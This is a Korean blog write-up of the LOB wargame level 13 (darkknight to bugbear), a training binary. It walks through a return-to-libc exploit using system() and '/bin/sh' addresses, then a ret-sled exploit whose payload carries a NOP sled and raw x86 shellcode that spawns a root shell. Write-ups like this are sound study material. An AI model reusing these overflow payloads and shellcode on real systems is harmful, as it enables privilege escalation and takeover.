상세 컨텐츠

본문 제목

[LOB] level 13: darkknight -> bugbear

SYSTEM HACKING/LOB Redhat

by koharin 2019. 5. 15. 16:32

본문

728x90
반응형

 

 

RTL(Return into Libc) 기법 사용

if(argv[1][47] == ‘\xbf’): buffer(40) + sfp(4) + ret(4)인데, argv[1][47]0-39 buffer, 40-43 sfp, 44-47 ret이므로 ret에 원하는 주소를 넣을 수 없다.

 

RTL(Return-into-libc) 기법

-RET 주소에 libc 함수의 주소를 넣어서 쉘 코드 없이도 exploit이 가능한 방법

-overflow 공격에 기반하여 버퍼를 overflow시켜서 return address(RET)를 조작해 실행의 흐름을 libc 영역으로 돌려서 원하는 libc 함수를 수행하게 하는 것

 

 

 

Buffer overflow 취약점이 있는 버퍼를 공격한다. 버퍼를 overflow시켜서 buffer 위에 있는 return address 영역에 실행시키고자 하는 libc 함수의 주소를 넣는 것이다.

Libc 함수는 공유 라이브러리 영역(dynamic link)segment(static link) 내에 존재할 수 있다.

RETlibc 함수의 주소로 바뀌었기 때문에 함수가 리턴되면서 지정된 libc 함수가 실행된다.

System(“/bin/sh”)를 실행할 수도 있고, root의 쉘을 획득할 수 있는 execl(“/bin/sh”)를 실행할 수도 있다.

 

<system() 이용>

먼저 System()을 사용해서 exploit해보자.

 

 

 

 

BOF가 발생하는 strcpy() 다음 라인인 add에서 breakpoint를 잡는다.

 

 

x/2x $ebpebp를 출력해보면 0xbffffb00을 가지고 있는 것이 sfp, 0x400309cb를 가진 것이 ret이다. 우리가 원하는 주소를 넣어야 할 위치는

 

 

 

ebp+4 위치의 0xbffffaec에 있는 ret이다.

따라서 구조는 buffer(40) + sfp(4) + ret(4) 이렇게 되어있으므로 ret 전까지 44byte가 있다.

 

 

#system() 함수의 시작 주소

 

 

사용할 libc 함수는 system() 함수인데, system() 함수의 주소와 argument 구성을 알아야 하므로 위와 같은 코드를 작성하고 system 실행파일을 만들었다.

 

 

system() 함수가 실행되는 시점을 유의해야 하는데, call instruction은 다음 수행할 addressreturn address를 스택에 PUSH한 후 해당 함수의 시작점으로 이동한다.

system() 함수의 호출 지점은 0x80482e8이지만 실행 시점에서 공유 라이브러리를 로딩한 후의 system() 함수의 시작점을 찾아야 한다.

 

 

실행 후 system() 함수의 address: 0x40058ae0

 

#system() 함수의 argument 처리 과정

 

 

 

 

“/bin/sh” argument가 있는 위치를 찾아야 하는데, 달고나에서랑 좀 달라서

달고나에서는 mov 0x8(%ebp), %eaxsystem() 함수의 argument 처리 과정이었다.

여기에서는

Cmpl $0x0, 0x8(%ebp)

부분이 argument 처리 과정 같다. 따라서 ebp+8 위치에서 argument를 받으므로 이 위치에 “/bin/sh”의 주소를 넣어주면 “/bin/sh”system() 함수가 인자로 받게 되어 실행하게 될 것이다.

 

 

 

system() 시작주소+ret+”/bin/sh”

 

#“/bin/sh” 실행되는 주소 찾기

System() 함수는 내부적으로 execve() 함수를 실행하는데, execve() 함수는 “/bin/sh”를 통해 동작한다. 따라서 execve() 함수에 “/bin/sh”가 존재하므로, system() 함수의 시작 주소로부터 execve() 함수가 실행되는, “/bin/sh”가 있는 곳을 구해야 한다.

 

 

 

System() 함수의 시작주소인 0x40068ae0부터 시작해서 memcmp 함수를 사용해서 8byte를 비교하는데, “/bin/sh”와 주소가 같을 때까지(같으면 0을 반환) start++을 하고 같으면 while문을 끝내고 printf 함수로 그 주소를 출력한다. 이렇게 하면 “/bin/sh”의 주소를 구할 수 있다.

 

 

“/bin/sh”가 위치한 address: 0x400fbff9

 

 

#payload 작성

 

 

Main() 함수가 수행을 마치고 return address를 따라 system() 함수의 시작점으로 가게 되고, argument를 얻어서 do_system을 호출한다. 따라서 main() 함수의 메모리 구조에 system() 함수가 필요로하는 데이터를 채운다.

Buffer(40) + sfp(4) + ret(\xe0\x8a\x05\a40) + dummy(4)

+ “/bin/sh”(\xf9\xbf\x0f\x40)

 

./bug `python -c ‘print “A”*40+”B”*4+”\xe0\x8a\x05\x40”+”CCCC”+”\xf9\xbf\x0f\x40”’`

 

 

system() 함수의 ret“CCCC”로 조작되었기 때문에 exit을 해서 쉘을 빠져나오면 seg fault가 뜨는 것이다.

임시파일로는 성공했으니 원본파일의 심볼릭 링크 파일을 만들고 exploit해보자.

 

 

 

exploit에 성공했다.

 

“new divide”

 

 

<ret sled>

Return addressRET 명령의 주소를 쓰는 방법이다.

Ret sledpayload

buffer+&RET+&shellcode(NOP주소)+NOP+shellcode

 

ret sled 과정

1. espret을 가리키고 있다.

2. 정상적으로 RET 명령이 수행되면서 espebp+4가 된다. Esp가 가리키는 Return address에는 RET의 주소가 들어있다.

3. RET 명령이 한 번 더 실행된다. 이 때 RET 명령으로 점프하게 되는 주소는 shellcode의 주소이다.

4. shellcode 실행

 

#RET의 주소

 

 

 

RET의 주소: 0x80484a7

8자리가 아닌데, Little endian으로 작성할 때 \xa7\x84\x04\x08

이렇게 작성하면 된다고 한다.

 

 

#shellcode 주소

 

 

 

NOP의 주소로 0xbffffa34를 선택하도록 하겠다.

 

#exploit

./bug `python -c ‘print “A”*40+”B”*4+”\xa7\x84\x04\x08”+”\x34\xfa\xff\xbf”+

“\x90”*100+”\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”’`

 

 

 

 

임시파일로 성공했다.

 

 

 

성공!

728x90
반응형

'SYSTEM HACKING > LOB Redhat' 카테고리의 다른 글

관련글 더보기